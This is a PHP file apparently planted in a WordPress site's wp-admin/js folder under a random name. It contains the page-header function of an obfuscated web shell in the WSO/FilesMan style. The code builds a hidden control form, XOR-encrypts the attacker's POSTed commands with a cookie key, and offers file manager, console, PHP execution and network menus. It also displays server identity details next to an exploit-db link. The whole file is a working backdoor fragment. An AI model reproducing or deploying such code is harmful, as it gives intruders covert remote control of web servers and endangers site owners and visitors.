File: //var/www/media.kauko.lt/wp-admin/js/bvwspdgj.php
<?php
function qemvk() {
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['sftr'] . "'><link rel='icon' type='image/png' sizes='1x1' href='data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mOU1Hu5HQADgQHplQbXNQAAAABJRU5ErkJggg==' /><title>" . $_SERVER['HTTP_HOST'] . "</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $hkrfopkafjq !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $hkrfopkafjq;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $hkrfopkafjq; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['znpciraguli']) . "';
var a_ = '" . htmlspecialchars(@$_POST['obkusp']) . "'
var charset_ = '" . htmlspecialchars(@$_POST['sftr']) . "';
var p1_ = '" . ((strpos(@$_POST['lsdee'], "\n") !== false) ? '' : htmlspecialchars($_POST['lsdee'], ENT_QUOTES)) . "';
var p2_ = '" . ((strpos(@$_POST['dxxxrd'], "\n") !== false) ? '' : htmlspecialchars($_POST['dxxxrd'], ENT_QUOTES)) . "';
var p3_ = '" . ((strpos(@$_POST['kvued'], "\n") !== false) ? '' : htmlspecialchars($_POST['kvued'], ENT_QUOTES)) . "';
var d = document;
function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.qhv.obkusp.value=a;else d.qhv.obkusp.value=a_;
if(c!=null)d.qhv.vlrso.value=c;else d.qhv.vlrso.value=c_;
if(p1!=null)d.qhv.lsdee.value=p1;else d.qhv.lsdee.value=p1_;
if(p2!=null)d.qhv.dxxxrd.value=p2;else d.qhv.dxxxrd.value=p2_;
if(p3!=null)d.qhv.kvued.value=p3;else d.qhv.kvued.value=p3_;
d.qhv.obkusp.value = encrypt(d.qhv.obkusp.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "hhaaknwc"] . "');
d.qhv.vlrso.value = encrypt(d.qhv.vlrso.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "hhaaknwc"] . "');
d.qhv.lsdee.value = encrypt(d.qhv.lsdee.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "hhaaknwc"] . "');
d.qhv.dxxxrd.value = encrypt(d.qhv.dxxxrd.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "hhaaknwc"] . "');
d.qhv.kvued.value = encrypt(d.qhv.kvued.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "hhaaknwc"] . "');
if(charset!=null)d.qhv.sftr.value=charset;else d.qhv.sftr.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.qhv.submit();
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=qhv style='display:none;'>
<input type=hidden name=obkusp>
<input type=hidden name=vlrso>
<input type=hidden name=lsdee>
<input type=hidden name=dxxxrd>
<input type=hidden name=kvued>
<input type=hidden name=sftr>
</form>";
$gkgrhjlb = $gkgrhjlb ? $gkgrhjlb : 1;
$nrufsvxkk = explode("/", $GLOBALS['znpciraguli']);
$vzlainot = count($nrufsvxkk);
for ($jedprwvaef = 0; $jedprwvaef < $vzlainot - 1; $jedprwvaef++) {
$jrncaxdtgxh .= "<a href='#' onclick='g(\"FilesMan\",\"";
for ($sssrygfjo = 0; $sssrygfjo <= $jedprwvaef; $sssrygfjo++) {
$jrncaxdtgxh .= $nrufsvxkk[$sssrygfjo] . '/';
}
$jrncaxdtgxh .= "\")'>" . $nrufsvxkk[$jedprwvaef] . "/</a>";
}
$qbxusamgwrfk = array(
'Sec. Info' => 'SecInfo',
'Files' => 'FilesMan',
'Console' => 'Console',
'Php' => 'Php',
'String tools' => 'StringTools',
'Network' => 'Network'
);
foreach ($qbxusamgwrfk as $hymjlldwtc => $egcoret) {
$lclabid .= '<th width="' . (int)(100 / count($qbxusamgwrfk)) . '%">[ <a href="#" onclick="g(\'' . $egcoret . '\',null,\'\',\'\',\'\')">' . $hymjlldwtc . '</a> ]</th>';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['ynkzirv'] == 'win' ? '<br>Drives:' : '') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $ejahupipxb . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $vnnwmphvr . ' ( ' . $owkouy . ' ) <span>Group:</span> ' . $wzyzyp . ' ( ' . $nbvlczqcv . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['izzcswhnreyo'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . dbtcq($gkgrhjlb) . ' <span>Free:</span> ' . dbtcq($hatriovc) . ' (' . (int)($hatriovc / $gkgrhjlb * 100) . '%)<br>' . $jrncaxdtgxh . ' ' . qwzgk($GLOBALS['znpciraguli']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['qwzlfgax'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $smsfiaenuy . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $ecwbircmj . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $lclabid . '</tr></table><div style="margin:5">';
}